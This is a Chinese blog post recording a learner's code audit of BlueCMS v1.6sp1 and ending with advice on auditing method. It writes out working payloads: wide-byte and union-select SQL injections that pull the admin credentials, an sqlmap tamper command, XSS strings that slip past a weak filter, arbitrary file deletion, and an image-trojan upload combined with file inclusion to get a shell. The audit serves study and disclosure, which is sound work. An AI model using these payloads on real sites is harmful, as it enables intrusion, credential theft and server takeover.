2020/2/13 bluecmsv1.6sp1代碼審計


0x00 前言

從今天開始審計一些小的cms,一周內至少審計一種,中間可能會寫點別的有趣的東西

0x01

安裝好后,看到登陸框,用萬能密碼打一發,無果,嘗試重裝,可以重裝。有robots.txt

看user.php,跟進
include/common.inc.php

if(!get_magic_quotes_gpc())
 {
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
 }

發現一個過濾規則,這里先記一下,特定情況下繞過方法還是不少
有一個點記下

  $sql = "INSERT INTO ".table('user')." (user_id,user_name,pwd,email,reg_time) VALUES ('','$username',md5('$password'),'$email','$timestamp')";

這里沒看到過濾,直覺有點問題,繼續看login.php,里面就是常規驗證

require_once(dirname(__FILE__) . '/include/common.inc.php');

跟進,

 require_once(BLUE_ROOT."data/config.php");
 require_once(BLUE_ROOT."include/cache.fun.php");
 require_once(BLUE_ROOT."include/common.fun.php");
 require_once(BLUE_ROOT."include/cat.fun.php");
 require_once(BLUE_ROOT."include/user.fun.php");
 require_once(BLUE_ROOT."include/page.class.php");
 require_once(dirname(__FILE__)."/common.fun.php");


config.php看到了

define('BLUE_CHARSET','gb2312');

想到寬字節,記一下
common.php中
htmlspecialchars

過濾了XSS

0x02 SQL注入漏洞

通讀了一遍代碼后簡單黑盒測試了一下,先用Seay審計一下

我們從注冊開始看吧:
問題代碼處:
正如開頭直覺,這里郵箱處果然有問題:

這里郵箱沒有任何過濾,直接INSERT INTO插入

這里我們bp主要是繞過前端檢測
我們這里同樣存在sql注入漏洞,寬字節:
郵箱處:

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

可以看到回顯在數據庫處

注冊處到此結束
我們看登陸處:
問題代碼:
這里是登陸驗證代碼:

根據前面變量進入check_admin函數前已被轉義一次,無論MAGIC魔術棒是否開啟
include/common.inc.php

if(!get_magic_quotes_gpc())
 {
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
 }

但問題出在這句上

看到gbk,想到寬字節,萬能密碼再打一次;

登陸

user_name=admin777%d5%27%20or%201%3d1%23&pwd=123&x=35&y=18

登陸成功
這里的化sqlmap應該也可以

python2 sqlmap.py -u "http://xxxx?id=1" --tamper unmagicquotes --dbs --hex

使用16進制繞過單引號過濾
我們這里再來看一個SQL注入:
IP
看代碼:

這里沒看到對ip進行處理,跟進getip

找到了定義的函數,這里有一個getenv,實際上就是獲取系統的環境變量。
第一個HTTP_CLIENT_IP這個環境變量沒有成標准,很多服務器完全沒法獲取。
第二個X-Forwarded-For這個東西可以通過HTTP請求頭來修改。

控制請求頭中的X-Forwarded-For控制ip的傳參,ip的傳參會直接被拼湊到SQL語句
繼續跟進
找到這么一行,

$online_ip=getip();

全局搜索:

guest_book文件中發現
一個評論功能,依舊是沒有任何過濾,我們嘗試對這個頁面進行注入:

回到留言頁面可以看到數據庫名出現了

再來看一個SQL注入

數值型注入

缺陷文件:ad_js.php

分析一下:
首先ad_is我們可控,全局搜索后沒看到對他的過濾!直接被拼接到了數據庫中執行sql語句,根目錄下其他文件都做了很好的過濾,對數字型變量幾乎都用了intval()做限制,唯獨漏了這個文件,居然只是用了trim()去除頭尾空格。。
而且插入SQL語句時沒用單引號,這就使我們可以直接注入了。
payload:

ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

得到管理員賬號密碼

這里再列舉幾個相同原因造成sql注入,都是我們可以控制的變量直接拼接到sql語句
我是先全局搜索一下,看看他到這里拼接過來有沒有在其他地方被過濾。

/admin/attachment.php

      $sql = "DELETE FROM ".table('attachment')." WHERE att_id = 
".$_GET['att_id'];


$att_id直接接在后面,存在SQL注入漏洞

/admin/nav.php

$sql = "select * from ".table('navigate')." where navid = 
".$_GET['navid'];

      $nav = $db->getone($sql);

      $smarty->assign('nav',$nav);

      $smarty->assign('act', $act   );

      $smarty->display('nav_info.htm');

$_GET['navid']直接接在后面,存在SQL注入漏洞

/admin/ad.php

$sql = "DELETE FROM ".table('ad')." WHERE ad_id = ".$ad_id;

$ad_id直接接在后面,存在SQL注入漏洞

0x03 XSS

第一個XSS

我們從注冊開始看吧:
問題代碼處:
正如開頭直覺,這里郵箱處果然有問題:XSS

這里郵箱沒有任何過濾,直接INSERT INTO插入
這里是一個存儲型XSS

這里我們bp主要是繞過前端檢測

第二個XSS

user.php:
問題代碼處:

$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';

這里是一個評論功能,內容經過了filter_data函數過濾,我們追蹤這個函數:
function filter_data($str)


{

      $str = preg_replace("/<(?)(script|i?frame|meta|link)(*)[^<]*>/", 
"", $str);

      return $str;

}

可以看到他僅僅只用了一個正則匹配過濾,那么我們繞過方法太多了:
抓包繞過前端檢測:
payload:

<ScRipT>alert("XSS");</ScRipT>
<p><img src=1 onerror=alert(1)></p>

0x04任意文件刪除:

問題代碼處:
user.php:

if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){

                  @unlink(BLUE_ROOT.$_POST['face_pic3']);

函數:

這里就是POST傳入一個文件判斷,變量可控,輸入的任意存在文件就刪除。
類似的:

/admin/flash.php
第62-63行存在未過濾變量$_POST['image_path2'],導致任意文件刪除漏洞

if(file_exists(BLUE_ROOT.$_POST['image_path2'])){

                  @unlink(BLUE_ROOT.$_POST['image_path2']);

            }

還有很多就不列舉了

0x05 文件上傳漏洞和文件包含漏洞getshell

在/user.php第750行:

elseif ($act == 'pay'){

      include 'data/pay.cache.php';

      $price = $_POST['price'];

      $id = $_POST['id'];

      $name = $_POST['name'];

      if (empty($_POST['pay'])) {

            showmsg('???????????????????');

      }

      include 'include/payment/'.$_POST['pay']."/index.php";

 }

變量$_POST['pay']拼接到include函數中,且只有開頭包含文件的轉義過濾處理,我們可以使用0x00或文件長度截斷方式進行過濾,本次審計的環境是PHP5.2.17,如果環境為5.4以上那么上述兩種方法無效,不存在任意文件包含漏洞,但是為了更好理解漏洞,我還是將環境設為5.3以下
這里我已經黑盒測試過成功上傳圖片馬,我們看下上傳處代碼:

upload.calss.php:

function img_upload($file, $dir = '', $imgname = ''){

       if(empty($dir)){

             $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";

       }else{

             $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";

       }

            if(!in_array($file['type'],$this->allow_image_type)){

             echo '<font style="color:red;">?????????????</font>';

                  exit;

       }

            if(empty($imgname)){

             $imgname = 
$this->create_tempname().'.'.$this->get_type($file['name']);

       }

       if(!file_exists($dir)){

             if(!mkdir($dir)){

                   echo '<font 
style="color:red;">????????§Õ????????</font>';

                        exit;

             }

       }

       $imgname = $dir . $imgname;

該文件對上傳文件進行文件類型和文件名的白名單檢測,但是沒有對文件內容進行檢查,所以我們能輕易上傳一個圖片馬

之后我們去包含就行了

這里看到我們包含成功

0x06 總結

花了三天,這個cms基本審的差不多了,這也和自己一開始的目的相同,對於我這種初學者來說一開始並不能執着復現這個漏洞,而是要在審計過程中思考這個漏洞是怎么審計出來的,審計思路是最重要的。別人審計好的跟着復現一遍感覺就和抄作業一樣。。有作用,但用處不大。
我也不知道這樣先讀cms源碼再審計對不對,先姑且試着吧。
再來說一下下一個cms怎么審計:
1:首先不能盲目,記住Web漏洞的本質:存在用戶的輸入
應重點關注有輸入點的頁面,再去文件里找相關代碼,不斷回溯看看代碼中有沒有可控變量,過濾是否嚴謹。
2:可以全局搜索一下危險函數,如:unlink,include,move_uploaded_file函數等
查找相關漏洞可以去找關鍵字,如sql注入:
全局搜索一下SELECT、UPDATE、INSERT、DELETE等關鍵字
看看是否有預編譯后再插入數據庫。
比如上傳,可以搜索一下upload,看看他的過濾規則。
多總結,多反思,先審計完再看網上文章,看看別的師傅怎么審計的,不斷借鑒。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM